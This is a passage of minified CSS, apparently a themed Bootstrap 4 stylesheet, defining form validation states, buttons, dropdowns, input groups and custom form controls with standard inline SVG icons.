.form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#d21034}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{border-color:#d21034}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{border-color:#ef264c;background-color:#ef264c}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(210,16,52,.25)}.custom-control-input.is-invalid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus:not(:checked)~.custom-control-label::before{border-color:#d21034}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#d21034}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{border-color:#d21034;box-shadow:0 0 0 .2rem rgba(210,16,52,.25)}.form-inline{display:flex;flex-flow:row wrap;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:flex;align-items:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:flex;flex:0 0 auto;flex-flow:row wrap;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:flex;align-items:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;flex-shrink:0;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{align-items:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;color:#001d68;text-align:center;vertical-align:middle;user-select:none;background-color:transparent;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:#001d68;text-decoration:none}.btn.focus,.btn:focus{outline:0}.btn.disabled,.btn:disabled{opacity:.65}.btn:not(:disabled):not(.disabled){cursor:pointer}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#001d68;border-color:#001d68}.btn-primary:hover{color:#fff;background-color:#001242;border-color:#000f35}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#001242;border-color:#000f35;box-shadow:0 0 0 0 rgba(38,63,127,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#001d68;border-color:#001d68}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#000f35;border-color:#000b28}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(38,63,127,.5)}.btn-secondary{color:#fff;background-color:#001d68;border-color:#001d68}.btn-secondary:hover{color:#fff;background-color:#001242;border-color:#000f35}.btn-secondary.focus,.btn-secondary:focus{color:#fff;background-color:#001242;border-color:#000f35;box-shadow:0 0 0 0 rgba(38,63,127,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#001d68;border-color:#001d68}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#000f35;border-color:#000b28}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(38,63,127,.5)}.btn-success{color:#fff;background-color:#393;border-color:#393}.btn-success:hover{color:#fff;background-color:#297c29;border-color:#267326}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#297c29;border-color:#267326;box-shadow:0 0 0 0 rgba(82,168,82,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#393;border-color:#393}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#267326;border-color:#236923}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(82,168,82,.5)}.btn-info{color:#fff;background-color:#969696;border-color:#969696}.btn-info:hover{color:#fff;background-color:#838383;border-color:#7d7d7d}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#838383;border-color:#7d7d7d;box-shadow:0 0 0 0 rgba(166,166,166,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#969696;border-color:#969696}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#7d7d7d;border-color:#767676}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(166,166,166,.5)}.btn-warning{color:#fff;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#fff;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{color:#fff;background-color:#e0a800;border-color:#d39e00;box-shadow:0 0 0 0 rgba(255,202,44,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#fff;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#fff;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(255,202,44,.5)}.btn-danger{color:#fff;background-color:#d21034;border-color:#d21034}.btn-danger:hover{color:#fff;background-color:#ae0d2b;border-color:#a30c28}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#ae0d2b;border-color:#a30c28;box-shadow:0 0 0 0 rgba(217,52,82,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#d21034;border-color:#d21034}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#a30c28;border-color:#970b25}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(217,52,82,.5)}.btn-light{color:#fff;background-color:#f7f7f7;border-color:#f7f7f7}.btn-light:hover{color:#fff;background-color:#e4e4e4;border-color:#dedede}.btn-light.focus,.btn-light:focus{color:#fff;background-color:#e4e4e4;border-color:#dedede;box-shadow:0 0 0 0 rgba(248,248,248,.5)}.btn-light.disabled,.btn-light:disabled{color:#fff;background-color:#f7f7f7;border-color:#f7f7f7}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#fff;background-color:#dedede;border-color:#d7d7d7}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(248,248,248,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{color:#fff;background-color:#23272b;border-color:#1d2124;box-shadow:0 0 0 0 rgba(82,88,93,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(82,88,93,.5)}.btn-outline-primary{color:#001d68;border-color:#001d68}.btn-outline-primary:hover{color:#fff;background-color:#001d68;border-color:#001d68}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 0 rgba(0,29,104,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#001d68;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#001d68;border-color:#001d68}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(0,29,104,.5)}.btn-outline-secondary{color:#001d68;border-color:#001d68}.btn-outline-secondary:hover{color:#fff;background-color:#001d68;border-color:#001d68}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 0 rgba(0,29,104,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#001d68;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#001d68;border-color:#001d68}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(0,29,104,.5)}.btn-outline-success{color:#393;border-color:#393}.btn-outline-success:hover{color:#fff;background-color:#393;border-color:#393}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 0 rgba(51,153,51,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#393;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#393;border-color:#393}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(51,153,51,.5)}.btn-outline-info{color:#969696;border-color:#969696}.btn-outline-info:hover{color:#fff;background-color:#969696;border-color:#969696}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 0 rgba(150,150,150,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#969696;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#969696;border-color:#969696}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(150,150,150,.5)}.btn-outline-warning{color:#ffc107;border-color:#ffc107}.btn-outline-warning:hover{color:#fff;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 0 rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#fff;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(255,193,7,.5)}.btn-outline-danger{color:#d21034;border-color:#d21034}.btn-outline-danger:hover{color:#fff;background-color:#d21034;border-color:#d21034}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 0 rgba(210,16,52,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#d21034;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#d21034;border-color:#d21034}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(210,16,52,.5)}.btn-outline-light{color:#f7f7f7;border-color:#f7f7f7}.btn-outline-light:hover{color:#fff;background-color:#f7f7f7;border-color:#f7f7f7}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 0 rgba(247,247,247,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f7f7f7;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#fff;background-color:#f7f7f7;border-color:#f7f7f7}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(247,247,247,.5)}.btn-outline-dark{color:#343a40;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 0 rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 0 rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#001d68;text-decoration:none}.btn-link:hover{color:#00081c;text-decoration:underline}.btn-link.focus,.btn-link:focus{text-decoration:underline}.btn-link.disabled,.btn-link:disabled{color:#969696;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#001d68;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu-left{right:auto;left:0}.dropdown-menu-right{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-left{right:auto;left:0}.dropdown-menu-sm-right{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-left{right:auto;left:0}.dropdown-menu-md-right{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-left{right:auto;left:0}.dropdown-menu-lg-right{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-left{right:auto;left:0}.dropdown-menu-xl-right{right:0;left:auto}}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid #f0f0f0}.dropdown-item{display:block;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#f7f7f7}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#001d68}.dropdown-item.disabled,.dropdown-item:disabled{color:#969696;pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1.5rem;margin-bottom:0;font-size:.875rem;color:#969696;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;flex:1 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn-group:not(:first-child),.btn-group>.btn:not(:first-child){margin-left:-1px}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropright .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropleft .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:-1px}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control,.input-group>.form-control-plaintext{position:relative;flex:1 1 auto;width:1%;min-width:0;margin-bottom:0}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control,.input-group>.form-control-plaintext+.custom-file,.input-group>.form-control-plaintext+.custom-select,.input-group>.form-control-plaintext+.form-control{margin-left:-1px}.input-group>.custom-file .custom-file-input:focus~.custom-file-label,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file .custom-file-input:focus{z-index:4}.input-group>.custom-select:not(:last-child),.input-group>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:flex;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-append,.input-group-prepend{display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn:focus,.input-group-prepend .btn:focus{z-index:3}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:flex;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#001d68;text-align:center;white-space:nowrap;background-color:#f0f0f0;border:1px solid #969696;border-radius:.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group-lg>.custom-select,.input-group-lg>.form-control:not(textarea){height:calc(1.5em + 1rem + 2px)}.input-group-lg>.custom-select,.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-sm>.custom-select,.input-group-sm>.form-control:not(textarea){height:calc(1.5em + .5rem + 2px)}.input-group-sm>.custom-select,.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.input-group-lg>.custom-select,.input-group-sm>.custom-select{padding-right:1.75rem}.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;left:0;z-index:-1;width:1rem;height:1.25rem;opacity:0}.custom-control-input:checked~.custom-control-label::before{color:#fff;border-color:#001d68;background-color:#001d68}.custom-control-input:focus:not(:checked)~.custom-control-label::before{border-color:#001d68}.custom-control-input:not(:disabled):active~.custom-control-label::before{color:#fff;background-color:#1c5bff;border-color:#1c5bff}.custom-control-input:disabled~.custom-control-label,.custom-control-input[disabled]~.custom-control-label{color:#969696}.custom-control-input:disabled~.custom-control-label::before,.custom-control-input[disabled]~.custom-control-label::before{background-color:#f7f7f7}.custom-control-label{position:relative;margin-bottom:0;vertical-align:top}.custom-control-label::before{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;pointer-events:none;content:"";background-color:#fff;border:#adb5bd solid 1px}.custom-control-label::after{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;content:"";background:no-repeat 50%/50% 50%}.custom-checkbox .custom-control-label::before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26l2.974 2.99L8 2.193z'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before{border-color:#001d68;background-color:#001d68}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='4' viewBox='0 0 4 4'%3e%3cpath stroke='%23fff' d='M0 2h4'/%3e%3c/svg%3e")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,29,104,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before{background-color:rgba(0,29,104,.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,29,104,.5)}.custom-switch{padding-left:2.25rem}.custom-switch .custom-control-label::before{left:-2.25rem;width:1.75rem;pointer-events:all;border-radius:.5rem}.custom-switch .custom-control-label::after{top:calc(.25rem + 2px);left:calc(-2.25rem + 2px);width:calc(1rem - 4px);height:calc(1rem - 4px);background-color:#adb5bd;border-radius:.5rem;transition:transform .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-switch .custom-control-label::after{transition:none}}.custom-switch .custom-control-input:checked~.custom-control-label::after{background-color:#fff;transform:translateX(.75rem)}.custom-switch .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,29,104,.5)}.custom-select{display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem 1.75rem .375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#001d68;vertical-align:middle;background:#fff url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px;border:1px solid #969696;border-radius:.25rem;appearance:none}.custom-select:focus{border-color:#001d68;outline:0;box-shadow:0 0 0 .2rem rgba(0,29,104,.25)}.custom-select:focus::-ms-value{color:#001d68;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#969696;background-color:#f0f0f0}.custom-select::-ms-expand{display:none}.custom-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #001d68}.custom-select-sm{height:calc(1.5em + .5rem + 2px);padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem}.custom-select-lg{height:calc(1.5em + 1rem + 2px);padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem}.custom-file{position:relative;display:inline-block;width:100%;height:calc(1.5em + .75rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(1.5em + .75rem + 2px);margin:0;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#001d68}.custom-file-input:disabled~.custom-file-label,.custom-file-input[disabled]~.custom-file-label{background-color:#f7f7f7}.custom-file-input:lang(en)~.custom-file-label::after{content:"Browse"}.custom-file-input~.custom-file-label[data-browse]::after{content:attr(data-browse)}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-weight:400;line-height:1.5;color:#001d68;background-color:#fff;border:1px solid #969696;border-radius:.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(1.5em + .75rem);padding:.375rem .75rem;line-height:1.5;color:#001d68;content:"Browse";background-color:#f0f0f0;border-left:inherit;border-radius:0 .25rem .25rem 